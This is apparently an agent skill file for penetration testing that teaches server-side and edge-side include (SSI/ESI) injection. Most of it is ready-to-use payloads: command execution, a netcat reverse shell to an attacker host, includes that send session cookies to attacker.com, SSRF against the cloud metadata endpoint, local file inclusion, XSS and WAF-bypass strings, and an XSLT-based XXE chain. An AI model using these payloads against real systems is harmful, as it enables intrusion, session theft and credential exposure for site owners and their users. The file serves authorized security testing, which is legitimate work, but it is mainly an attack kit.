| name | exploiting-server-side-includes-esi-injection |
| description | Exploiting Server-Side Includes (SSI) and Edge-Side Includes (ESI) injection where unsanitized input is reflected into content processed by an SSI-enabled web server or an ESI-capable cache/proxy (Squid, Varnish, Fastly, Akamai, nodesi), enabling command execution, file inclusion, SSRF, cookie theft (incl. HttpOnly), and XSS/WAF bypass. Activates when reflected input may be parsed as SSI/ESI directives. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","esi-injection","ssi-injection","ssrf","owasp","web-security"] |
| version | 1.0 |
| author | xalgorix |
| license | Apache-2.0 |
Exploiting SSI / ESI Injection
When to Use
- During authorized tests where a server uses SSI (files
.shtml, .shtm, .stm) or a cache/CDN supports ESI
- When reflected input may be parsed as directives before the page is served or cached
- When responses include
Surrogate-Control: content="ESI/1.0" (server uses ESI) — but absence does NOT rule it out
- When a reverse proxy / CDN (Squid3, Varnish, Fastly, Akamai ETS, NodeJS esi/nodesi) sits in front of the app
- When you need to bypass HttpOnly cookie flags, XSS filters, or WAFs via include/var directives
Critical: Variants Most Often Missed
ESI capabilities differ per software, so a failed payload on one stack does not mean immune. Probe both reflected and blind. SSI directive form: <!--#directive param="value" -->; ESI form: <esi:...>.
# --- DETECTION ---
# SSI reflected echo
<!--#echo var="DATE_LOCAL" --> # date appears → SSI active
# ESI reflected detection
hell<!--esi-->o # renders "hello" → ESI active
# ESI blind detection (callback to your server)
<esi:include src=http://attacker.com>
<esi:debug/> # Akamai: dumps debug info in response
# --- SSI EXPLOITATION ---
<!--#exec cmd="id" --> # command execution
<!--#exec cmd="mkfifo /tmp/f;nc ATTACKER 4444 0</tmp/f|/bin/bash 1>/tmp/f;rm /tmp/f" -->
<!--#include virtual="/cgi-bin/counter.pl" -->
<!--#include file="secret.txt" -->
<!--#printenv -->
# --- ESI EXPLOITATION ---
# Arbitrary content / XSS include
<esi:include src=http://attacker.com/xss.html>
# SSRF (internal hosts; mind per-software host allowlist)
<esi:include src="http://169.254.169.254/latest/meta-data/"/>
# Cookie theft — bypass HttpOnly by exfiltrating server-side cookie value
<esi:include src=http://attacker.com/?cookie=$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?c=$(HTTP_COOKIE{'JSESSIONID'})" />
# Reflect cookie/XSS into response (engines with Vars support)
<!--esi $(HTTP_COOKIE) -->
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
# Add/override response headers (bypass Content-Type to land XSS)
<!--esi/$add_header('Content-Type','text/html')/-->
<!--esi $add_header('Location','http://attacker.com') -->
# Private local file include (NOT classic LFI)
<esi:include src="supersecret.txt">
# --- WAF / XSS-FILTER BYPASS via <!--esi--> splitting ---
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(1);</s<esi:vars name="$(var1)"/>>
# --- ESI + XSLT → XXE (Akamai dca="xslt") ---
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
ESI capability matrix (from GoSecure) — decides which attacks work: